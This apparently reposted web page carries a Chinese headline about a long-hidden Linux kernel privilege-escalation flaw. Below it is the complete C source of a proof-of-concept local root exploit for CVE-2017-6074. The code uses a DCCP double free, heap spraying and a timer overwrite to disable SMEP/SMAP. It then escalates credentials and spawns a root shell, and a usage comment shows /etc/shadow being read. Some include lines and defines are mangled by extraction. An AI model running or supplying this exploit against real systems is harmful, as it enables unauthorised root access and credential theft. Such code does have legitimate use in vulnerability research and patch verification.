Linux内核最新漏洞,【更新PoC】潜伏11年的Linux内核提权漏洞曝光

// A proof-of-concept local root exploit for CVE-2017-6074.

// Includes a semireliable SMAP/SMEP bypass.

// Tested on 4.4.0-62-generic #83-Ubuntu kernel.

// https://github.com/xairy/kernel-exploits/tree/master/CVE-2017-6074

//

// Usage:

// $ gcc poc.c -o pwn

// $ ./pwn

// [.] namespace sandbox setup successfully

// [.] disabling SMEP & SMAP

// [.] scheduling 0xffffffff81064550(0x406e0)

// [.] waiting for the timer to execute

// [.] done

// [.] SMEP & SMAP should be off now

// [.] getting root

// [.] executing 0x402043

// [.] done

// [.] should be root now

// [.] checking if we got root

// [+] got r00t ^_^

// [!] don't kill the exploit binary, the kernel will crash

// # cat /etc/shadow

// ...

// daemon:*:17149:0:99999:7:::

// bin:*:17149:0:99999:7:::

// sys:*:17149:0:99999:7:::

// sync:*:17149:0:99999:7:::

// games:*:17149:0:99999:7:::

// ...

//

// Andrey Konovalov

#define _GNU_SOURCE

#include

#include

#include

#include

#include

#include

#include

#include

#include

#include

#include

#include

#include

#include

#include

#include

#include

#include

#define SMEP_SMAP_BYPASS1

// Needed for local root.

#define COMMIT_CREDS0xffffffff810a2840L

#define PREPARE_KERNEL_CRED0xffffffff810a2c30L

#define SHINFO_OFFSET1728

// Needed for SMEP_SMAP_BYPASS.

#define NATIVE_WRITE_CR40xffffffff81064550ul

#define CR4_DESIRED_VALUE0x406e0ul

#define TIMER_OFFSET(728 + 48 + 104)

#define KMALLOC_PAD 128

#define KMALLOC_WARM 32

#define CATCH_FIRST 6

#define CATCH_AGAIN 16

#define CATCH_AGAIN_SMALL 64

// Port is incremented on each use.

static int port = 11000;

void debug(const char *msg) {

/*

char buffer[32];

snprintf(&buffer[0], sizeof(buffer), "echo '%s' > /dev/kmsg\n", msg);

system(buffer);

*/

}

// * * * * * * * * * * * * * * Kernel structs * * * * * * * * * * * * * * * *

struct ubuf_info {

uint64_t callback;// void (*callback)(struct ubuf_info *, bool)

uint64_t ctx;// void *

uint64_t desc;// unsigned long

};

struct skb_shared_info {

uint8_t  nr_frags;// unsigned char

uint8_t  tx_flags;// __u8

uint16_t gso_size;// unsigned short

uint16_t gso_segs;// unsigned short

uint16_t gso_type;// unsigned short

uint64_t frag_list;// struct sk_buff *

uint64_t hwtstamps;// struct skb_shared_hwtstamps

uint32_t tskey;// u32

uint32_t ip6_frag_id;// __be32

uint32_t dataref;// atomic_t

uint64_t destructor_arg;// void *

uint8_t  frags[16][17];// skb_frag_t frags[MAX_SKB_FRAGS];

};

struct ubuf_info ui;

void init_skb_buffer(char* buffer, void *func) {

memset(&buffer[0], 0, 2048);

struct skb_shared_info *ssi = (struct skb_shared_info *)&buffer[SHINFO_OFFSET];

ssi->tx_flags = 0xff;

ssi->destructor_arg = (uint64_t)&ampui;

ssi->nr_frags = 0;

ssi->frag_list = 0;

ui.callback = (unsigned long)func;

}

struct timer_list {

void*next;

void*prev;

unsigned longexpires;

void(*function)(unsigned long);

unsigned longdata;

unsigned intflags;

intslack;

};

void init_timer_buffer(char* buffer, void *func, unsigned long arg) {

memset(&buffer[0], 0, 2048);

struct timer_list* timer = (struct timer_list *)&buffer[TIMER_OFFSET];

timer->next = 0;

timer->prev = 0;

timer->expires = 4294943360;

timer->function = func;

timer->data = arg;

timer->flags = 1;

timer->slack = -1;

}

// * * * * * * * * * * * * * * * Trigger * * * * * * * * * * * * * * * * * *

struct dccp_handle {

struct sockaddr_in6 sa;

int s1;

int s2;

};

void dccp_init(struct dccp_handle *handle, int port) {

handle->sa.sin6_family = AF_INET6;

handle->sa.sin6_port = htons(port);

inet_pton(AF_INET6, "::1", &handle->sa.sin6_addr);

handle->sa.sin6_flowinfo = 0;

handle->sa.sin6_scope_id = 0;

handle->s1 = socket(PF_INET6, SOCK_DCCP, IPPROTO_IP);

if (handle->s1 == -1) {

perror("socket(SOCK_DCCP)");

exit(EXIT_FAILURE);

}

int rv = bind(handle->s1, &handle->sa, sizeof(handle->sa));

if (rv != 0) {

perror("bind()");

exit(EXIT_FAILURE);

}

rv = listen(handle->s1, 0x9);

if (rv != 0) {

perror("listen()");

exit(EXIT_FAILURE);

}

int optval = 8;

rv = setsockopt(handle->s1, IPPROTO_IPV6, IPV6_RECVPKTINFO,

&optval, sizeof(optval));

if (rv != 0) {

perror("setsockopt(IPV6_RECVPKTINFO)");

exit(EXIT_FAILURE);

}

handle->s2 = socket(PF_INET6, SOCK_DCCP, IPPROTO_IP);

if (handle->s1 == -1) {

perror("socket(SOCK_DCCP)");

exit(EXIT_FAILURE);

}

}

void dccp_kmalloc_kfree(struct dccp_handle *handle) {

int rv = connect(handle->s2, &handle->sa, sizeof(handle->sa));

if (rv != 0) {

perror("connect(SOCK_DCCP)");

exit(EXIT_FAILURE);

}

}

void dccp_kfree_again(struct dccp_handle *handle) {

int rv = shutdown(handle->s1, SHUT_RDWR);

if (rv != 0) {

perror("shutdown(SOCK_DCCP)");

exit(EXIT_FAILURE);

}

}

void dccp_destroy(struct dccp_handle *handle) {

close(handle->s1);

close(handle->s2);

}

// * * * * * * * * * * * * * * Heap spraying * * * * * * * * * * * * * * * * *

struct udp_fifo_handle {

int fds[2];

};

void udp_fifo_init(struct udp_fifo_handle* handle) {

int rv = socketpair(AF_LOCAL, SOCK_DGRAM, 0, handle->fds);

if (rv != 0) {

perror("socketpair()");

exit(EXIT_FAILURE);

}

}

void udp_fifo_destroy(struct udp_fifo_handle* handle) {

close(handle->fds[0]);

close(handle->fds[1]);

}

void udp_fifo_kmalloc(struct udp_fifo_handle* handle, char *buffer) {

int rv = send(handle->fds[0], buffer, 1536, 0);

if (rv != 1536) {

perror("send()");

exit(EXIT_FAILURE);

}

}

void udp_fifo_kmalloc_small(struct udp_fifo_handle* handle) {

char buffer[128];

int rv = send(handle->fds[0], &buffer[0], 128, 0);

if (rv != 128) {

perror("send()");

exit(EXIT_FAILURE);

}

}

void udp_fifo_kfree(struct udp_fifo_handle* handle) {

char buffer[2048];

int rv = recv(handle->fds[1], &buffer[0], 1536, 0);

if (rv != 1536) {

perror("recv()");

exit(EXIT_FAILURE);

}

}

int timer_kmalloc() {

int s = socket(AF_PACKET, SOCK_DGRAM, htons(ETH_P_ARP));

if (s == -1) {

perror("socket(SOCK_DGRAM)");

exit(EXIT_FAILURE);

}

return s;

}

#define CONF_RING_FRAMES 1

void timer_schedule(int handle, int timeout) {

int optval = TPACKET_V3;

int rv = setsockopt(handle, SOL_PACKET, PACKET_VERSION,

&optval, sizeof(optval));

if (rv != 0) {

perror("setsockopt(PACKET_VERSION)");

exit(EXIT_FAILURE);

}

struct tpacket_req3 tp;

memset(&tp, 0, sizeof(tp));

tp.tp_block_size = CONF_RING_FRAMES * getpagesize();

tp.tp_block_nr = 1;

tp.tp_frame_size = getpagesize();

tp.tp_frame_nr = CONF_RING_FRAMES;

tp.tp_retire_blk_tov = timeout;

rv = setsockopt(handle, SOL_PACKET, PACKET_RX_RING,

(void *)&tp, sizeof(tp));

if (rv != 0) {

perror("setsockopt(PACKET_RX_RING)");

exit(EXIT_FAILURE);

}

}

void socket_sendmmsg(int sock, char *buffer) {

struct mmsghdr msg[1];

msg[0].msg_hdr.msg_iovlen = 0;

// Buffer to kmalloc.

msg[0].msg_hdr.msg_control = &buffer[0];

msg[0].msg_hdr.msg_controllen = 2048;

// Make sendmmsg exit easy with EINVAL.

msg[0].msg_hdr.msg_name = "root";

msg[0].msg_hdr.msg_namelen = 1;

int rv = syscall(__NR_sendmmsg, sock, msg, 1, 0);

if (rv == -1 && errno != EINVAL) {

perror("[-] sendmmsg()");

exit(EXIT_FAILURE);

}

}

void sendmmsg_kmalloc_kfree(int port, char *buffer) {

int sock[2];

int rv = socketpair(AF_LOCAL, SOCK_DGRAM, 0, sock);

if (rv != 0) {

perror("socketpair()");

exit(EXIT_FAILURE);

}

socket_sendmmsg(sock[0], buffer);

close(sock[0]);

}

// * * * * * * * * * * * * * * Heap warming * * * * * * * * * * * * * * * * *

void dccp_connect_pad(struct dccp_handle *handle, int port) {

handle->sa.sin6_family = AF_INET6;

handle->sa.sin6_port = htons(port);

inet_pton(AF_INET6, "::1", &handle->sa.sin6_addr);

handle->sa.sin6_flowinfo = 0;

handle->sa.sin6_scope_id = 0;

handle->s1 = socket(PF_INET6, SOCK_DCCP, IPPROTO_IP);

if (handle->s1 == -1) {

perror("socket(SOCK_DCCP)");

exit(EXIT_FAILURE);

}

int rv = bind(handle->s1, &handle->sa, sizeof(handle->sa));

if (rv != 0) {

perror("bind()");

exit(EXIT_FAILURE);

}

rv = listen(handle->s1, 0x9);

if (rv != 0) {

perror("listen()");

exit(EXIT_FAILURE);

}

handle->s2 = socket(PF_INET6, SOCK_DCCP, IPPROTO_IP);

if (handle->s1 == -1) {

perror("socket(SOCK_DCCP)");

exit(EXIT_FAILURE);

}

rv = connect(handle->s2, &handle->sa, sizeof(handle->sa));

if (rv != 0) {

perror("connect(SOCK_DCCP)");

exit(EXIT_FAILURE);

}

}

void dccp_kmalloc_pad() {

int i;

struct dccp_handle handle;

for (i = 0; i < 4; i++) {

dccp_connect_pad(&handle, port++);

}

}

void timer_kmalloc_pad() {

int i;

for (i = 0; i < 4; i++) {

socket(AF_PACKET, SOCK_DGRAM, htons(ETH_P_ARP));

}

}

void udp_kmalloc_pad() {

int i, j;

char dummy[2048];

struct udp_fifo_handle uh[16];

for (i = 0; i < KMALLOC_PAD / 16; i++) {

udp_fifo_init(&uh[i]);

for (j = 0; j < 16; j++)

udp_fifo_kmalloc(&uh[i], &dummy[0]);

}

}

void kmalloc_pad() {

debug("dccp kmalloc pad");

dccp_kmalloc_pad();

debug("timer kmalloc pad");

timer_kmalloc_pad();

debug("udp kmalloc pad");

udp_kmalloc_pad();

}

void udp_kmalloc_warm() {

int i, j;

char dummy[2048];

struct udp_fifo_handle uh[16];

for (i = 0; i < KMALLOC_WARM / 16; i++) {

udp_fifo_init(&uh[i]);

for (j = 0; j < 16; j++)

udp_fifo_kmalloc(&uh[i], &dummy[0]);

}

for (i = 0; i < KMALLOC_WARM / 16; i++) {

for (j = 0; j < 16; j++)

udp_fifo_kfree(&uh[i]);

}

}

void kmalloc_warm() {

udp_kmalloc_warm();

}

// * * * * * * * * * * * * * Disabling SMEP/SMAP * * * * * * * * * * * * * * *

// Executes func(arg) from interrupt context multiple times.

void kernel_exec_irq(void *func, unsigned long arg) {

int i;

struct dccp_handle dh;

struct udp_fifo_handle uh1, uh2, uh3, uh4;

char dummy[2048];

char buffer[2048];

printf("[.] scheduling %p(%p)\n", func, (void *)arg);

memset(&dummy[0], 0xc3, 2048);

init_timer_buffer(&buffer[0], func, arg);

udp_fifo_init(&uh1);

udp_fifo_init(&uh2);

udp_fifo_init(&uh3);

udp_fifo_init(&uh4);

debug("kmalloc pad");

kmalloc_pad();

debug("kmalloc warm");

kmalloc_warm();

debug("dccp init");

dccp_init(&dh, port++);

debug("dccp kmalloc kfree");

dccp_kmalloc_kfree(&dh);

debug("catch 1");

for (i = 0; i < CATCH_FIRST; i++)

udp_fifo_kmalloc(&uh1, &dummy[0]);

debug("dccp kfree again");

dccp_kfree_again(&dh);

debug("catch 2");

for (i = 0; i < CATCH_FIRST; i++)

udp_fifo_kmalloc(&uh2, &dummy[0]);

int timers[CATCH_FIRST];

debug("catch 1 -> timer");

for (i = 0; i < CATCH_FIRST; i++) {

udp_fifo_kfree(&uh1);

timers[i] = timer_kmalloc();

}

debug("catch 1 small");

for (i = 0; i < CATCH_AGAIN_SMALL; i++)

udp_fifo_kmalloc_small(&uh4);

debug("schedule timers");

for (i = 0; i < CATCH_FIRST; i++)

timer_schedule(timers[i], 500);

debug("catch 2 -> overwrite timers");

for (i = 0; i < CATCH_FIRST; i++) {

udp_fifo_kfree(&uh2);

udp_fifo_kmalloc(&uh3, &buffer[0]);

}

debug("catch 2 small");

for (i = 0; i < CATCH_AGAIN_SMALL; i++)

udp_fifo_kmalloc_small(&uh4);

printf("[.] waiting for the timer to execute\n");

debug("wait");

sleep(1);

printf("[.] done\n");

}

void disable_smep_smap() {

printf("[.] disabling SMEP & SMAP\n");

kernel_exec_irq((void *)NATIVE_WRITE_CR4, CR4_DESIRED_VALUE);

printf("[.] SMEP & SMAP should be off now\n");

}

// * * * * * * * * * * * * * * * Getting root * * * * * * * * * * * * * * * * *

// Executes func() from process context.

void kernel_exec(void *func) {

int i;

struct dccp_handle dh;

struct udp_fifo_handle uh1, uh2, uh3;

char dummy[2048];

char buffer[2048];

printf("[.] executing %p\n", func);

memset(&dummy[0], 0, 2048);

init_skb_buffer(&buffer[0], func);

udp_fifo_init(&uh1);

udp_fifo_init(&uh2);

udp_fifo_init(&uh3);

debug("kmalloc pad");

kmalloc_pad();

debug("kmalloc warm");

kmalloc_warm();

debug("dccp init");

dccp_init(&dh, port++);

debug("dccp kmalloc kfree");

dccp_kmalloc_kfree(&dh);

debug("catch 1");

for (i = 0; i < CATCH_FIRST; i++)

udp_fifo_kmalloc(&uh1, &dummy[0]);

debug("dccp kfree again:");

dccp_kfree_again(&dh);

debug("catch 2");

for (i = 0; i < CATCH_FIRST; i++)

udp_fifo_kmalloc(&uh2, &dummy[0]);

debug("catch 1 -> overwrite");

for (i = 0; i < CATCH_FIRST; i++) {

udp_fifo_kfree(&uh1);

sendmmsg_kmalloc_kfree(port++, &buffer[0]);

}

debug("catch 2 -> free & trigger");

for (i = 0; i < CATCH_FIRST; i++)

udp_fifo_kfree(&uh2);

debug("catch 1 & 2");

for (i = 0; i < CATCH_AGAIN; i++)

udp_fifo_kmalloc(&uh3, &dummy[0]);

printf("[.] done\n");

}

typedef int __attribute__((regparm(3))) (* _commit_creds)(unsigned long cred);

typedef unsigned long __attribute__((regparm(3))) (* _prepare_kernel_cred)(unsigned long cred);

_commit_creds commit_creds = (_commit_creds)COMMIT_CREDS;

_prepare_kernel_cred prepare_kernel_cred = (_prepare_kernel_cred)PREPARE_KERNEL_CRED;

void get_root_payload(void) {

commit_creds(prepare_kernel_cred(0));

}

void get_root() {

printf("[.] getting root\n");

kernel_exec(&get_root_payload);

printf("[.] should be root now\n");

}

// * * * * * * * * * * * * * * * * * Main * * * * * * * * * * * * * * * * * *

void exec_shell() {

char *shell = "/bin/bash";

char *args[] = {shell, "-i", NULL};

execve(shell, args, NULL);

}

void fork_shell() {

pid_t rv;

rv = fork();

if (rv == -1) {

perror("fork()");

exit(EXIT_FAILURE);

}

if (rv == 0) {

exec_shell();

}

}

bool is_root() {

// We can't simple check uid, since we're running inside a namespace

// with uid set to 0. Try opening /etc/shadow instead.

int fd = open("/etc/shadow", O_RDONLY);

if (fd == -1)

return false;

close(fd);

return true;

}

void check_root() {

printf("[.] checking if we got root\n");

if (!is_root()) {

printf("[-] something went wrong =(\n");

printf("[!] don't kill the exploit binary, the kernel will crash\n");

return;

}

printf("[+] got r00t ^_^\n");

printf("[!] don't kill the exploit binary, the kernel will crash\n");

// Fork and exec instead of just doing the exec to avoid freeing

// skbuffs and prevent crashes due to a allocator corruption.

fork_shell();

}

static bool write_file(const char* file, const char* what, ...)

{

char buf[1024];

va_list args;

va_start(args, what);

vsnprintf(buf, sizeof(buf), what, args);

va_end(args);

buf[sizeof(buf) - 1] = 0;

int len = strlen(buf);

int fd = open(file, O_WRONLY | O_CLOEXEC);

if (fd == -1)

return false;

if (write(fd, buf, len) != len) {

close(fd);

return false;

}

close(fd);

return true;

}

void setup_sandbox() {

int real_uid = getuid();

int real_gid = getgid();

if (unshare(CLONE_NEWUSER) != 0) {

perror("unshare(CLONE_NEWUSER)");

exit(EXIT_FAILURE);

}

if (unshare(CLONE_NEWNET) != 0) {

perror("unshare(CLONE_NEWUSER)");

exit(EXIT_FAILURE);

}

if (!write_file("/proc/self/setgroups", "deny")) {

perror("write_file(/proc/self/set_groups)");

exit(EXIT_FAILURE);

}

if (!write_file("/proc/self/uid_map", "0 %d 1\n", real_uid)){

perror("write_file(/proc/self/uid_map)");

exit(EXIT_FAILURE);

}

if (!write_file("/proc/self/gid_map", "0 %d 1\n", real_gid)) {

perror("write_file(/proc/self/gid_map)");

exit(EXIT_FAILURE);

}

cpu_set_t my_set;

CPU_ZERO(&my_set);

CPU_SET(0, &my_set);

if (sched_setaffinity(0, sizeof(my_set), &my_set) != 0) {

perror("sched_setaffinity()");

exit(EXIT_FAILURE);

}

if (system("/sbin/ifconfig lo up") != 0) {

perror("system(/sbin/ifconfig lo up)");

exit(EXIT_FAILURE);

}

printf("[.] namespace sandbox setup successfully\n");

}

int main() {

setup_sandbox();

#if SMEP_SMAP_BYPASS

disable_smep_smap();

#endif

get_root();

check_root();

while (true) {

sleep(100);

}

return 0;

}